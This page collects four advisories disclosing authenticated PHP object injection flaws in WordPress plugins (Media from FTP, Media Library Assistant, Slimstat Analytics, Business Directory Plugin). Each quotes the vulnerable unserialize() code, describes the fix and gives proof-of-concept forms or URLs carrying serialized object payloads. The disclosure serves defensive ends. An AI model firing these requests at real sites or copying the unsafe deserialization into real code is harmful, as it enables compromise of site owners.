13 Sep

Authenticated PHP Object Injection Vulnerability in Media from FTP

We recently started proactively monitoring for evidence of some high risk vulnerabilities when changes are made to WordPress plugins and if we had more customers we could expand the proactive monitoring to more types of vulnerabilities. One of the types of vulnerabilities we are looking for are PHP object injection vulnerabilities since those are likely to be exploited if hackers become aware of them. Through that we came across an authenticated PHP object injection vulnerability in the plugin Media from FTP.

The plugin makes the function mediafromftp_medialibraryimport_update_callback() accessible through WordPress’ AJAX functionality to those logged in to WordPress (in the file /mediafromftp.php):

79
add_action( 'wp_ajax_'.$action2, array($mediafromftpajax, 'mediafromftp_medialibraryimport_update_callback') );

As of version 9.79, that function passed the POST input “db_wp_attachment_metadata” through the maybe_unserialize() function, which permits PHP object injection, if the user making the request has the “upload_files” capability and has access to the nonce “mediafromftp-import-ajax-action” (in the file /req/MediaFromFtpAjax.php):

156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
function mediafromftp_medialibraryimport_update_callback(){
 
	$action2 = 'mediafromftp-import-ajax-action';
	if ( isset( $_REQUEST['nonce'] ) && wp_verify_nonce( $_REQUEST['nonce'], $action2 ) ) {
		if ( current_user_can( 'upload_files' ) ) {
			$file = $_POST["file"];
			$filepath = str_replace(MEDIAFROMFTP_PLUGIN_UPLOAD_DIR.'/' , '', $file);
			if ( is_file($file) ) {
				if ( !empty($_POST["db_array"]) ) {
					$db_array = $_POST["db_array"];
					global $wpdb;
					$table_name = $wpdb->prefix.'posts';
					$wpdb->insert( $table_name, $db_array );
					update_attached_file( $db_array['ID'], $filepath ) ;
					if ( !empty($_POST["db_wp_attachment_metadata"]) ) {
						$metadata = maybe_unserialize(stripslashes($_POST["db_wp_attachment_metadata"]));

Normally Author-level and above users have the “upload_files”  capability. The nonce is accessible on the plugin’s admin pages, which are also accessible to users with the “upload_files” capability (in the file /req/MediaFromFtpAdmin.php):

76
77
78
79
80
81
82
83
add_menu_page(
		'Media from FTP',
		'Media from FTP',
		'upload_files',
		'mediafromftp',
		array($this, 'manage_page'),
		'dashicons-upload'
);

The day after we notified the developer of the vulnerability they released version 9.80, which fixes the vulnerability by using replacing the usage of maybe_unserialize() with json_decode().

Proof of Concept

With our plugin for testing for PHP object injection installed and activated, the following proof of concept will cause the message “PHP object injection has occurred.” to be shown, when logged in as a user that has the  “upload_files”  capability.

Make sure to replace “[path to WordPress]” with the location of WordPress and “[valid nonce]” with the value from the input “nonce” on the line that begins “var MEDIAFROMFTPIMPORT” on the page /wp-admin/admin.php?page=mediafromftp.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/admin-ajax.php" method="POST">
<input type="hidden" name="action" value="mediafromftp-import-ajax-action" />
<input type="hidden" name="nonce" value="b90156c331" />
<input type="hidden" name="file" value="about.php" />
<input type="hidden" name="db_array" value="test" />
<input type="hidden" name="db_wp_attachment_metadata" value='O:20:"php_object_injection":0:{}' />
<input type="submit" value="Submit" />
</form>
</body>
</html>

Timeline

  • September 11, 2017 – Developer notified.
  • September 11, 2017 – Developer responds.
  • Version 9.80 released, which fixes vulnerability.
05 Sep

Authenticated PHP Object Injection Vulnerability in Media Library Assistant

We recently started proactively monitoring for evidence of some high risk vulnerabilities when changes are made to WordPress plugins and if we had more customers we could expand the proactive monitoring to more types of vulnerabilities. One of the types of vulnerabilities we are looking for are PHP object injection vulnerabilities since those are likely to be exploited if hackers become aware of them. Through that we came across an authenticated PHP object injection vulnerability in the plugin Media Library Assistant.

The plugin makes it’s Media Library Assistant page in the admin area viable to users with the upload_files capability, which is normally available to Author-level and above users (in the file /includes/class-mla-main.php):

441
$hook = add_submenu_page( 'upload.php', $page_title, $menu_title, 'upload_files', MLACore::ADMIN_PAGE_SLUG, 'MLA::mla_render_admin_page' );

When that page is accessed the function get_views() in the class MLA_List_Table, which is located in the file /includes/class-mla-list-table.php, will run. If a request is sent to the page without a GET or POST input “post_mime_type” and with a GET or POST input “meta_query” then value of “meta_query” will be unserialized, which permits PHP object injection to occur:

1787
1788
1789
1790
1791
1792
1793
1794
1795
1796
1797
1798
1799
function get_views( ) {
	/*
	 * Find current view
	 */
	if ( $this->detached  ) {
		$current_view = 'detached';
	} elseif ( $this->attached ) {
		$current_view = 'attached';
	} elseif ( $this->is_trash ) {
		$current_view = 'trash';
	} elseif ( empty( $_REQUEST['post_mime_type'] ) ) {
		if ( isset( $_REQUEST['meta_query'] ) ) {
			$query = unserialize( stripslashes( $_REQUEST['meta_query'] ) );

The vulnerability can also be exploited through cross-site request forgery (CSRF).

The developer put in fix for the vulnerability in the development version of the plugin the same day we notified them of it, but a new version still has yet to be released a month later. In line with our disclosure policy, which is based on the need to provide our customers with information on vulnerabilities on a timely basis, we are now disclosing this vulnerability.

Proof of Concept

With our plugin for testing for PHP object injection installed and activated, visiting the following URL while logged in to WordPress as an Author-level user will cause the message “PHP object injection has occurred.” to be shown.

Make sure to replace “[path to WordPress]” with the location of WordPress.

http://[path to WordPress]/wp-admin/upload.php?page=mla-menu&meta_query=O:20:"php_object_injection":0:{}

Timeline

  • August 3, 2017 – Developer notified.
  • August 3, 2017 – Developer responds.
30 Aug

Authenticated PHP Object Injection Vulnerability in Slimstat Analytics

We recently started proactively monitoring for evidence of some high risk vulnerabilities when changes are made to WordPress plugins and if we had more customers we could expand the proactive monitoring to more types of vulnerabilities. One of the types of vulnerabilities we are looking for are PHP object injection vulnerabilities since those are likely to be exploited if hackers become aware of them. Through that we came across an authenticated PHP object injection vulnerability in Slimstat Analytics.

The plugin normally only allows users with the “activate_plugins” capability, which would normally only be Administrators, to access the admin pages of the plugin, but in the settings it is possible to change the capability needed or to whitelist other users to be able to access them. There are two categories of pages that lower level users can be permitted access to reports and settings. Within what is accessible from either of those there has been a PHP object injection vulnerability.

The one available through the settings has been there longer, so let’s take a look at that.

When visiting the “Maintenance” tab of the plugin’s settings the file /admin/config/maintenance.php will be loaded. That file will check for a valid nonce and then can run a specified action:

3
4
5
6
7
8
9
10
11
if ( !function_exists( 'add_action' ) || ( !empty( $_POST ) &amp;&amp; !check_admin_referer( 'maintenance_wp_slimstat', 'maintenance_wp_slimstat_nonce' ) ) ) {
	exit( 0 );
}
 
require_once( dirname( dirname( __FILE__ ) ) . '/view/wp-slimstat-reports.php' );
wp_slimstat_reports::init();
 
if ( !empty( $_REQUEST[ 'action' ] ) ) {
	switch ( $_REQUEST[ 'action' ] ) {

For the “import-settings” action the value of the POST input “import-slimstat-settings” would be run through the serialize function, which permits PHP object injection to occur:

81
82
case 'import-settings':
	$new_settings = @unserialize( stripslashes( $_POST[ 'import-slimstat-settings' ] ) );

After we notified the developer of the issue the released version 4.7.1 of the plugin, which fixes the vulnerability by replacing the usage of unserialize() with json_decode() (as well replacing the usage of serialize() elsewhere with json_encode()):

82
$new_settings = @json_decode( stripslashes( $_POST[ 'import-slimstat-settings' ] ), true );

Proof of Concept

With our plugin for testing for PHP object injection installed and activated, the following proof of concept will cause the message “PHP object injection has occurred.” to be shown, when logged in as a user that can access the plugin’s settings.

Make sure to replace “[path to WordPress]” with the location of WordPress and “[valid nonce]” with the value from the input “maintenance_wp_slimstat_nonce” on the page /wp-admin/admin.php?page=slimconfig&tab=6.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/admin.php?page=slimconfig&tab=6" method="POST">
<input type="hidden" name="action" value="import-settings" />
<input type="hidden" name="maintenance_wp_slimstat_nonce" value=" [valid nonce]" />
<input type="hidden" name="import-slimstat-settings" value='O:20:"php_object_injection":0:{}' />
<input type="submit" value="Submit" />
</form>
</body>
</html>

Timeline

  • August 25, 2017 – Developer notified.
  • August 25, 2017 – Developer responds.
  • August 29, 2017 – Version 4.7.1 released, which fixes vulnerability.
02 Aug

Authenticated PHP Object Injection Vulnerability in Business Directory Plugin

We recently started proactively monitoring for evidence of some high risk vulnerabilities when changes are made to WordPress plugins and if we had more customers we could expand the proactive monitoring to more types of vulnerabilities. One of the types of vulnerabilities we are looking for are PHP object injection vulnerabilities since those are likely to be exploited if hackers become aware of them (unlike other types of vulnerabilities that security companies are known to overstate the impact of). Through that we came across an authenticated PHP object injection vulnerability in the plugin Business Directory Plugin.

The plugin makes the function ajax_csv_export() available to anyone logged in to WordPress through WordPress’ AJAX functionality (in the file /includes/admin/csv-export.php):

13
add_action( 'wp_ajax_wpbdp-csv-export', array( &$this, 'ajax_csv_export' ) );

This plugin requires user registration by default for a major piece of its functionality, so it is likely that fair number of the websites using it would allow untrusted individuals to create accounts.

As of version 4.1.14 that function would unserialize the value of the GET or POST input “state”, which can cause PHP object injection:

30
31
32
33
34
35
36
37
public function ajax_csv_export() {
	$error = '';
 
	try {
		if ( !isset( $_REQUEST['state'] ) ) {
			$export = new WPBDP_CSVExporter( array_merge( $_REQUEST['settings'], array() ) );
		} else {
			$export = WPBDP_CSVExporter::from_state( unserialize( base64_decode( $_REQUEST['state'] ) ) );

After we notified the developer of the issue they released version 4.1.14.1, which fixes the vulnerability by replacing the usage of the function unserialize() with json_decode() (and replaces the related usage of the serialize() with json_encode() elsewhere). They also added a restriction to limit access to the function to those logged in as Administrators:

30
31
32
33
34
35
36
37
38
39
40
41
public function ajax_csv_export() {
	if ( ! current_user_can( 'administrator' ) ) {
		exit();
	}
 
	$error = '';
 
	try {
		if ( ! isset( $_REQUEST['state'] ) ) {
			$export = new WPBDP_CSVExporter( array_merge( $_REQUEST['settings'], array() ) );
		} else {
			$state  = json_decode( base64_decode( $_REQUEST['state'] ), true );

Proof of Concept

With our plugin for testing for PHP object injection installed and activated, visiting the following URL while logged in to WordPress will cause the message “PHP object injection has occurred.” to be shown.

Make sure to replace “[path to WordPress]” with the location of WordPress.

http://[path to WordPress]/wp-admin/admin-ajax.php?action=wpbdp-csv-export&state=TzoyMDoicGhwX29iamVjdF9pbmplY3Rpb24iOjA6e30=

Timeline

  • July 31, 2017 – Developer notified.
  • August 2, 2017 – Version 4.1.14.1 released, which fixes vulnerability.